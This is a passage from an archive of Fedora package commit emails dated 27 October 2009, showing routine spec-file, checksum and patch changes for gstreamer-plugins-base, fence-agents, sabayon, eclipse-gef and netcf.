+# Revert http://cgit.freedesktop.org/gstreamer/gst-plugins-base/commit/?id=35cddfb1e3ddc6513c7daca093d72151a13e9342
+# We have a new enough pulsesink
+# https://bugzilla.gnome.org/show_bug.cgi?id=599105
+Patch2:		pulsesink-disable-old-version-hack.patch
+Conflicts:	gstreamer-plugins-good < 0.10.16-3
 
 # documentation
 BuildRequires:  gtk-doc >= 1.3
@@ -56,6 +61,7 @@ This package contains a set of well-main
 %setup -q -n gst-plugins-base-%{version}
 %patch0 -p1 -b .subtitle-errors
 %patch1 -p1 -b .missing-plugins
+%patch2 -p1 -R -b .old-pulsesink
 
 %build
 %configure \
@@ -251,6 +257,9 @@ GStreamer Base Plugins library developme
 %doc %{_datadir}/gtk-doc/html/gst-plugins-base-plugins-%{majorminor}
 
 %changelog
+* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-3
+- Fix audio disappearing with newer pulsesink
+
 * Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-2
 - Add patches to fix some playbin2 bugs (#518880)
 



From hadess at fedoraproject.org  Tue Oct 27 10:39:06 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 10:39:06 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/F-11
	pulsesink-disable-old-version-hack.patch, NONE,
	1.1 gstreamer-plugins-base.spec, 1.80, 1.81
Message-ID: <20091027103906.3C38811C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12604

Modified Files:
	gstreamer-plugins-base.spec 
Added Files:
	pulsesink-disable-old-version-hack.patch 
Log Message:
* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-2
- Fix audio disappearing with newer pulsesink


pulsesink-disable-old-version-hack.patch:
 gstbaseaudiosink.c |   46 +++++++++++++++++++++++++++++++++++-----------
 1 file changed, 35 insertions(+), 11 deletions(-)

--- NEW FILE pulsesink-disable-old-version-hack.patch ---
>From 35cddfb1e3ddc6513c7daca093d72151a13e9342 Mon Sep 17 00:00:00 2001
From: Wim Taymans <wim.taymans at collabora.co.uk>
Date: Thu, 10 Sep 2009 10:38:16 +0000
Subject: baseaudiosink: add ugly backward compat hack

Check for pulsesink < 0.10.17 because it includes code that is now included in
baseaudiosink. Disable that code in baseaudiosink to be compatible with the
older version.
---
diff --git a/gst-libs/gst/audio/gstbaseaudiosink.c b/gst-libs/gst/audio/gstbaseaudiosink.c
index afa62c3..23fde25 100644
--- a/gst-libs/gst/audio/gstbaseaudiosink.c
+++ b/gst-libs/gst/audio/gstbaseaudiosink.c
@@ -56,6 +56,8 @@ struct _GstBaseAudioSinkPrivate
   gboolean sync_latency;
 
   GstClockTime eos_time;
+
+  gboolean do_time_offset;
 };
 
 /* BaseAudioSink signals and args */
@@ -231,12 +233,15 @@ gst_base_audio_sink_class_init (GstBaseAudioSinkClass * klass)
    * thread-safety in GObject */
   g_type_class_ref (GST_TYPE_AUDIO_CLOCK);
   g_type_class_ref (GST_TYPE_RING_BUFFER);
+
 }
 
 static void
 gst_base_audio_sink_init (GstBaseAudioSink * baseaudiosink,
     GstBaseAudioSinkClass * g_class)
 {
+  GstPluginFeature *feature;
+
   baseaudiosink->priv = GST_BASE_AUDIO_SINK_GET_PRIVATE (baseaudiosink);
 
   baseaudiosink->buffer_time = DEFAULT_BUFFER_TIME;
@@ -253,6 +258,24 @@ gst_base_audio_sink_init (GstBaseAudioSink * baseaudiosink,
   /* install some custom pad_query functions */
   gst_pad_set_query_function (GST_BASE_SINK_PAD (baseaudiosink),
       GST_DEBUG_FUNCPTR (gst_base_audio_sink_query_pad));
+
+  baseaudiosink->priv->do_time_offset = TRUE;
+
+  /* check the factory, pulsesink < 0.10.17 does the timestamp offset itself so
+   * we should not do ourselves */
+  feature =
+      GST_PLUGIN_FEATURE_CAST (GST_ELEMENT_CLASS (g_class)->elementfactory);
+  GST_DEBUG ("created from factory %p", feature);
+
+  /* HACK for old pulsesink that did the time_offset themselves */
+  if (feature) {
+    if (strcmp (gst_plugin_feature_get_name (feature), "pulsesink") == 0) {
+      if (!gst_plugin_feature_check_version (feature, 0, 10, 17)) {
+        /* we're dealing with an old pulsesink, we need to disable time corection */
+        baseaudiosink->priv->do_time_offset = FALSE;
+      }
+    }
+  }
 }
 
 static void
@@ -1409,16 +1432,18 @@ gst_base_audio_sink_render (GstBaseSink * bsink, GstBuffer * buf)
   }
 
   /* bring to position in the ringbuffer */
-  time_offset =
-      GST_AUDIO_CLOCK_CAST (sink->provided_clock)->abidata.ABI.time_offset;
-  if (render_start > time_offset)
-    render_start -= time_offset;
-  else
-    render_start = 0;
-  if (render_stop > time_offset)
-    render_stop -= time_offset;
-  else
-    render_stop = 0;
+  if (sink->priv->do_time_offset) {
+    time_offset =
+        GST_AUDIO_CLOCK_CAST (sink->provided_clock)->abidata.ABI.time_offset;
+    if (render_start > time_offset)
+      render_start -= time_offset;
+    else
+      render_start = 0;
+    if (render_stop > time_offset)
+      render_stop -= time_offset;
+    else
+      render_stop = 0;
+  }
 
   /* and bring the time to the rate corrected offset in the buffer */
   render_start = gst_util_uint64_scale_int (render_start,
--
cgit v0.8.2


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/F-11/gstreamer-plugins-base.spec,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- gstreamer-plugins-base.spec	5 Oct 2009 19:00:33 -0000	1.80
+++ gstreamer-plugins-base.spec	27 Oct 2009 10:39:05 -0000	1.81
@@ -3,7 +3,7 @@
 
 Name: 		%{gstreamer}-plugins-base
 Version: 	0.10.25
-Release:  	1%{?dist}
+Release:  	2%{?dist}
 Summary: 	GStreamer streaming media framework base plug-ins
 
 Group: 		Applications/Multimedia
@@ -32,6 +32,12 @@ BuildRequires:  gtk2-devel
 BuildRequires:  pkgconfig
 Obsoletes:	gstreamer-plugins
 
+# Revert http://cgit.freedesktop.org/gstreamer/gst-plugins-base/commit/?id=35cddfb1e3ddc6513c7daca093d72151a13e9342
+# We have a new enough pulsesink
+# https://bugzilla.gnome.org/show_bug.cgi?id=599105
+Patch0:		pulsesink-disable-old-version-hack.patch
+Conflicts:	gstreamer-plugins-good < 0.10.16-3
+
 # documentation
 BuildRequires:  gtk-doc >= 1.3
 BuildRequires:  PyXML
@@ -48,6 +54,7 @@ This package contains a set of well-main
 
 %prep
 %setup -q -n gst-plugins-base-%{version}
+%patch0 -p1 -R -b .old-pulsesink
 
 %build
 %configure \
@@ -243,6 +250,9 @@ GStreamer Base Plugins library developme
 %doc %{_datadir}/gtk-doc/html/gst-plugins-base-plugins-%{majorminor}
 
 %changelog
+* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-2
+- Fix audio disappearing with newer pulsesink
+
 * Fri Aug 07 2009 Bastien Nocera <bnocera at redhat.com> 0.10.24-1
 - Update to 0.10.24
 



From fabbione at fedoraproject.org  Tue Oct 27 10:41:20 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Tue, 27 Oct 2009 10:41:20 +0000 (UTC)
Subject: rpms/fence-agents/devel fence-agents.spec,1.18,1.19
Message-ID: <20091027104120.6266711C00E6@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13082

Modified Files:
	fence-agents.spec 
Log Message:
Fix Requires on libvirt/libvirt-client



Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/devel/fence-agents.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- fence-agents.spec	21 Oct 2009 11:35:44 -0000	1.18
+++ fence-agents.spec	27 Oct 2009 10:41:18 -0000	1.19
@@ -19,7 +19,7 @@
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
 Version: 3.0.4
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 2%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -27,9 +27,15 @@ Source0: ftp://sources.redhat.com/pub/cl
 
 ## Runtime deps
 Requires: sg3_utils OpenIPMI telnet openssh-clients
-Requires: pexpect net-snmp-utils libvirt-client
+Requires: pexpect net-snmp-utils
 Requires: perl-Net-Telnet
 
+%if 0%{?fedora} >= 12
+Requires: libvirt-client
+%else
+Requires: libvirt
+%endif
+
 ## Setup/build bits
 
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
@@ -85,6 +91,9 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
+* Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-2
+- Fix Requires: on libvirt/libvirt-client
+
 * Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
 - New upstream release
 - BuildRequire libxslt and pexpect for automatic man page generation



From tbzatek at fedoraproject.org  Tue Oct 27 10:46:16 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Tue, 27 Oct 2009 10:46:16 +0000 (UTC)
Subject: rpms/sabayon/F-12 .cvsignore, 1.24, 1.25 sabayon.spec, 1.65,
	1.66 sources, 1.24, 1.25
Message-ID: <20091027104616.5D83711C00E6@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/sabayon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14290

Modified Files:
	.cvsignore sabayon.spec sources 
Log Message:
* Tue Oct 27 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.1-1
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sabayon/F-12/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	22 Sep 2009 08:37:24 -0000	1.24
+++ .cvsignore	27 Oct 2009 10:46:16 -0000	1.25
@@ -1 +1 @@
-sabayon-2.28.0.tar.bz2
+sabayon-2.28.1.tar.bz2


Index: sabayon.spec
===================================================================
RCS file: /cvs/extras/rpms/sabayon/F-12/sabayon.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- sabayon.spec	23 Oct 2009 09:40:44 -0000	1.65
+++ sabayon.spec	27 Oct 2009 10:46:16 -0000	1.66
@@ -7,8 +7,8 @@
 %define sabayon_user_uid 86
 
 Name:    sabayon
-Version: 2.28.0
-Release: 2%{?dist}
+Version: 2.28.1
+Release: 1%{?dist}
 Summary: Tool to maintain user profiles in a GNOME desktop
 
 Group:   Applications/System
@@ -269,6 +269,9 @@ fi
 %ghost %{python_sitearch}/%{name}/lockdown/*.pyo
 
 %changelog
+* Tue Oct 27 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> - 2.28.0-2
 - Move errors to sabayon-apply package
 - Only trap Exception on sabayon-apply error


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sabayon/F-12/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	22 Sep 2009 08:37:24 -0000	1.24
+++ sources	27 Oct 2009 10:46:16 -0000	1.25
@@ -1 +1 @@
-6cf8acabb61e88ebfe0ded14c96ab211  sabayon-2.28.0.tar.bz2
+eaadfd1ca66677ff02114265ebff5de6  sabayon-2.28.1.tar.bz2



From akurtakov at fedoraproject.org  Tue Oct 27 10:47:32 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 27 Oct 2009 10:47:32 +0000 (UTC)
Subject: rpms/eclipse-gef/devel sources, 1.10, 1.11 .cvsignore, 1.8,
	1.9 get-gef.sh, 1.5,
	1.6 eclipse-gef-disable-examples-source.patch, 1.1,
	1.2 eclipse-gef.spec, 1.23, 1.24
Message-ID: <20091027104732.B7E8A11C00E6@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse-gef/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14533/devel

Modified Files:
	sources .cvsignore get-gef.sh 
	eclipse-gef-disable-examples-source.patch eclipse-gef.spec 
Log Message:
- Update to 3.5.1 upstream version.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-gef/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	1 Jul 2009 21:39:46 -0000	1.10
+++ sources	27 Oct 2009 10:47:32 -0000	1.11
@@ -1 +1 @@
-b6979e5bc1d33092d494a66471750d43  gef-3.5.0.tar.gz
+79bf6481da4a0cfe57cb1520f3fb6768  gef-3.5.1.tar.gz


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-gef/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	18 Apr 2009 11:29:36 -0000	1.8
+++ .cvsignore	27 Oct 2009 10:47:32 -0000	1.9
@@ -1 +1,2 @@
 gef-3.5.0.tar.gz
+gef-3.5.1.tar.gz


Index: get-gef.sh
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-gef/devel/get-gef.sh,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- get-gef.sh	1 Jul 2009 21:39:46 -0000	1.5
+++ get-gef.sh	27 Oct 2009 10:47:32 -0000	1.6
@@ -1,7 +1,7 @@
 #!/bin/bash
 NAME="gef"
-VERSION=3.5.0
-TAG="R200906221200"
+VERSION=3.5.1
+TAG="R200909151220"
 
 echo "Exporting from CVS..."
 mkdir $NAME-$VERSION

eclipse-gef-disable-examples-source.patch:
 feature.xml |   29 +----------------------------
 1 file changed, 1 insertion(+), 28 deletions(-)

Index: eclipse-gef-disable-examples-source.patch
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-gef/devel/eclipse-gef-disable-examples-source.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- eclipse-gef-disable-examples-source.patch	1 Jul 2009 21:39:46 -0000	1.1
+++ eclipse-gef-disable-examples-source.patch	27 Oct 2009 10:47:32 -0000	1.2
@@ -1,35 +1,36 @@
---- org.eclipse.gef.examples-feature/feature.xml	5 Jun 2009 19:49:18 -0000	1.25
-+++ org.eclipse.gef.examples-feature/feature.xml	1 Jul 2009 19:54:14 -0000
-@@ -56,32 +56,4 @@
-          version="0.0.0"
-          unpack="false"/>
- 
--   <plugin
--         id="org.eclipse.gef.examples.logic.source"
--         download-size="0"
--         install-size="0"
--         version="0.0.0"
--         unpack="false"/>
--
--   <plugin
--         id="org.eclipse.gef.examples.flow.source"
--         download-size="0"
--         install-size="0"
--         version="0.0.0"
--         unpack="false"/>
--
--   <plugin
--         id="org.eclipse.gef.examples.text.source"
--         download-size="0"
--         install-size="0"
--         version="0.0.0"
--         unpack="false"/>
--
--   <plugin
--         id="org.eclipse.gef.examples.shapes.source"
--         download-size="0"
--         install-size="0"
--         version="0.0.0"
--         unpack="false"/>
--
- </feature>
+--- org.eclipse.gef.examples-feature/feature.xml.orig	2009-08-13 20:49:19.000000000 +0300
++++ org.eclipse.gef.examples-feature/feature.xml	2009-10-27 12:30:02.050817630 +0200
+@@ -56,32 +56,5 @@
+          version="0.0.0"
+          unpack="false"/>
+ 
+-   <plugin
+-         id="org.eclipse.gef.examples.logic.source"
+-         download-size="0"
+-         install-size="0"
+-         version="0.0.0"
+-         unpack="false"/>
+-
+-   <plugin
+-         id="org.eclipse.gef.examples.flow.source"
+-         download-size="0"
+-         install-size="0"
+-         version="0.0.0"
+-         unpack="false"/>
+-
+-   <plugin
+-         id="org.eclipse.gef.examples.text.source"
+-         download-size="0"
+-         install-size="0"
+-         version="0.0.0"
+-         unpack="false"/>
+-
+-   <plugin
+-         id="org.eclipse.gef.examples.shapes.source"
+-         download-size="0"
+-         install-size="0"
+-         version="0.0.0"
+-         unpack="false"/>
+-
++   
+ </feature>


Index: eclipse-gef.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-gef/devel/eclipse-gef.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- eclipse-gef.spec	24 Jul 2009 20:54:32 -0000	1.23
+++ eclipse-gef.spec	27 Oct 2009 10:47:32 -0000	1.24
@@ -1,9 +1,10 @@
 %global eclipse_base     %{_libdir}/eclipse
 %global eclipse_dropin   %{_datadir}/eclipse/dropins
+%global contextQualifier v20090724-1146
 
 Name:      eclipse-gef
-Version:   3.5.0
-Release:   3%{?dist}
+Version:   3.5.1
+Release:   1%{?dist}
 Summary:   Graphical Editing Framework (GEF) Eclipse plugin
 Group:     System Environment/Libraries
 License:   EPL
@@ -89,13 +90,13 @@ fi
 
 # build gef features
 %{eclipse_base}/buildscripts/pdebuild -f org.eclipse.gef \
-  -a "-DforceContextQualifier=v200906221200"
+  -a "-DforceContextQualifier=%{contextQualifier}"
 %{eclipse_base}/buildscripts/pdebuild -f org.eclipse.zest \
-  -a "-DforceContextQualifier=v200906221200"
+  -a "-DforceContextQualifier=%{contextQualifier}"
 %{eclipse_base}/buildscripts/pdebuild -f org.eclipse.gef.sdk \
-  -a "-DforceContextQualifier=v200906221200 -DJAVADOC14_HOME=%{java_home}/bin"
+  -a "-DforceContextQualifier=%{contextQualifier} -DJAVADOC14_HOME=%{java_home}/bin"
 %{eclipse_base}/buildscripts/pdebuild -f org.eclipse.zest.sdk \
-  -a "-DforceContextQualifier=v200906221200 -DJAVADOC14_HOME=%{java_home}/bin"
+  -a "-DforceContextQualifier=%{contextQualifier} -DJAVADOC14_HOME=%{java_home}/bin"
 
 # build examples features
 %{eclipse_base}/buildscripts/pdebuild -f org.eclipse.gef.examples
@@ -132,6 +133,9 @@ rm -rf %{buildroot}
 %doc org.eclipse.gef.examples-feature/rootfiles/*
 
 %changelog
+* Tue Oct 27 2009 Alexander Kurtakov <akurtako at redhat.com> 3.5.1-1
+- Update to 3.5.1 upstream version.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.5.0-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From fabbione at fedoraproject.org  Tue Oct 27 10:47:52 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Tue, 27 Oct 2009 10:47:52 +0000 (UTC)
Subject: rpms/fence-agents/F-12 fence-agents.spec,1.18,1.19
Message-ID: <20091027104752.14CE111C00E6@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14576

Modified Files:
	fence-agents.spec 
Log Message:
Fix Requires: on libvirt/libvirt-client



Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-12/fence-agents.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- fence-agents.spec	21 Oct 2009 11:37:36 -0000	1.18
+++ fence-agents.spec	27 Oct 2009 10:47:51 -0000	1.19
@@ -19,7 +19,7 @@
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
 Version: 3.0.4
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 2%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -27,9 +27,15 @@ Source0: ftp://sources.redhat.com/pub/cl
 
 ## Runtime deps
 Requires: sg3_utils OpenIPMI telnet openssh-clients
-Requires: pexpect net-snmp-utils libvirt-client
+Requires: pexpect net-snmp-utils
 Requires: perl-Net-Telnet
 
+%if 0%{?fedora} >= 12
+Requires: libvirt-client
+%else
+Requires: libvirt
+%endif
+
 ## Setup/build bits
 
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
@@ -85,6 +91,9 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
+* Tue Oct 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-2
+- Fix Requires: on libvirt/libvirt-client
+
 * Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
 - New upstream release
 - BuildRequire libxslt and pexpect for automatic man page generation



From lutter at fedoraproject.org  Tue Oct 27 10:48:16 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Tue, 27 Oct 2009 10:48:16 +0000 (UTC)
Subject: rpms/netcf/EL-5 .cvsignore, 1.3, 1.4 netcf.spec, 1.2, 1.3 sources,
	1.3, 1.4
Message-ID: <20091027104816.265D811C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/netcf/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14608/EL-5

Modified Files:
	.cvsignore netcf.spec sources 
Log Message:
Version 0.1.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	25 Sep 2009 23:11:19 -0000	1.3
+++ .cvsignore	27 Oct 2009 10:48:15 -0000	1.4
@@ -1 +1 @@
-netcf-0.1.2.tar.gz
+netcf-0.1.3.tar.gz


Index: netcf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/EL-5/netcf.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- netcf.spec	25 Sep 2009 23:11:20 -0000	1.2
+++ netcf.spec	27 Oct 2009 10:48:15 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           netcf
-Version:        0.1.2
+Version:        0.1.3
 Release:        1%{?dist}%{?extra_release}
 Summary:        Cross-platform network configuration library
 
@@ -11,6 +11,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildRequires:  readline-devel augeas-devel >= 0.5.2
 BuildRequires:  libxml2-devel libxslt-devel
+BuildRequires:  libnl-devel
 Requires:       %{name}-libs = %{version}-%{release}
 
 %description
@@ -73,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/netcf.pc
 
 %changelog
+* Tue Oct 27 2009 David Lutterkort <lutter at redhat.com> - 0.1.3-1
+- New version
+
 * Fri Sep 25 2009 David Lutterkort <lutter at redhat.com> - 0.1.2-1
 - New Version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	25 Sep 2009 23:11:20 -0000	1.3
+++ sources	27 Oct 2009 10:48:16 -0000	1.4
@@ -1 +1 @@
-635f02db0275ce327db8cb8d5f375566  netcf-0.1.2.tar.gz
+1c4339a44b65d5c1fd808bd107158d14  netcf-0.1.3.tar.gz



From lutter at fedoraproject.org  Tue Oct 27 10:48:16 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Tue, 27 Oct 2009 10:48:16 +0000 (UTC)
Subject: rpms/netcf/F-10 .cvsignore, 1.4, 1.5 netcf.spec, 1.3, 1.4 sources,
	1.4, 1.5
Message-ID: <20091027104816.5C4E211C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/netcf/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14608/F-10

Modified Files:
	.cvsignore netcf.spec sources 
Log Message:
Version 0.1.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	25 Sep 2009 23:11:21 -0000	1.4
+++ .cvsignore	27 Oct 2009 10:48:16 -0000	1.5
@@ -1 +1 @@
-netcf-0.1.2.tar.gz
+netcf-0.1.3.tar.gz


Index: netcf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/F-10/netcf.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- netcf.spec	25 Sep 2009 23:11:21 -0000	1.3
+++ netcf.spec	27 Oct 2009 10:48:16 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           netcf
-Version:        0.1.2
+Version:        0.1.3
 Release:        1%{?dist}%{?extra_release}
 Summary:        Cross-platform network configuration library
 
@@ -11,6 +11,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildRequires:  readline-devel augeas-devel >= 0.5.2
 BuildRequires:  libxml2-devel libxslt-devel
+BuildRequires:  libnl-devel
 Requires:       %{name}-libs = %{version}-%{release}
 
 %description
@@ -73,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/netcf.pc
 
 %changelog
+* Tue Oct 27 2009 David Lutterkort <lutter at redhat.com> - 0.1.3-1
+- New version
+
 * Fri Sep 25 2009 David Lutterkort <lutter at redhat.com> - 0.1.2-1
 - New Version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	25 Sep 2009 23:11:21 -0000	1.4
+++ sources	27 Oct 2009 10:48:16 -0000	1.5
@@ -1 +1 @@
-635f02db0275ce327db8cb8d5f375566  netcf-0.1.2.tar.gz
+1c4339a44b65d5c1fd808bd107158d14  netcf-0.1.3.tar.gz



From lutter at fedoraproject.org  Tue Oct 27 10:48:16 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Tue, 27 Oct 2009 10:48:16 +0000 (UTC)
Subject: rpms/netcf/F-11 .cvsignore, 1.4, 1.5 netcf.spec, 1.3, 1.4 sources,
	1.4, 1.5
Message-ID: <20091027104816.9070111C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/netcf/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14608/F-11

Modified Files:
	.cvsignore netcf.spec sources 
Log Message:
Version 0.1.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	25 Sep 2009 23:11:21 -0000	1.4
+++ .cvsignore	27 Oct 2009 10:48:16 -0000	1.5
@@ -1 +1 @@
-netcf-0.1.2.tar.gz
+netcf-0.1.3.tar.gz


Index: netcf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/F-11/netcf.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- netcf.spec	25 Sep 2009 23:11:21 -0000	1.3
+++ netcf.spec	27 Oct 2009 10:48:16 -0000	1.4
@@ -1,5 +1,5 @@
 Name:           netcf
-Version:        0.1.2
+Version:        0.1.3
 Release:        1%{?dist}%{?extra_release}
 Summary:        Cross-platform network configuration library
 
@@ -11,6 +11,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildRequires:  readline-devel augeas-devel >= 0.5.2
 BuildRequires:  libxml2-devel libxslt-devel
+BuildRequires:  libnl-devel
 Requires:       %{name}-libs = %{version}-%{release}
 
 %description
@@ -73,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/netcf.pc
 
 %changelog
+* Tue Oct 27 2009 David Lutterkort <lutter at redhat.com> - 0.1.3-1
+- New version
+
 * Fri Sep 25 2009 David Lutterkort <lutter at redhat.com> - 0.1.2-1
 - New Version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	25 Sep 2009 23:11:21 -0000	1.4
+++ sources	27 Oct 2009 10:48:16 -0000	1.5
@@ -1 +1 @@
-635f02db0275ce327db8cb8d5f375566  netcf-0.1.2.tar.gz
+1c4339a44b65d5c1fd808bd107158d14  netcf-0.1.3.tar.gz



From lutter at fedoraproject.org  Tue Oct 27 10:48:16 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Tue, 27 Oct 2009 10:48:16 +0000 (UTC)
Subject: rpms/netcf/F-12 .cvsignore, 1.4, 1.5 netcf.spec, 1.5, 1.6 sources,
	1.4, 1.5
Message-ID: <20091027104816.CE39A11C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/netcf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14608/F-12

Modified Files:
	.cvsignore netcf.spec sources 
Log Message:
Version 0.1.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	25 Sep 2009 23:11:21 -0000	1.4
+++ .cvsignore	27 Oct 2009 10:48:16 -0000	1.5
@@ -1 +1 @@
-netcf-0.1.2.tar.gz
+netcf-0.1.3.tar.gz


Index: netcf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netcf/F-12/netcf.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- netcf.spec	25 Sep 2009 23:11:21 -0000	1.5
+++ netcf.spec	27 Oct 2009 10:48:16 -0000	1.6
@@ -1,5 +1,5 @@
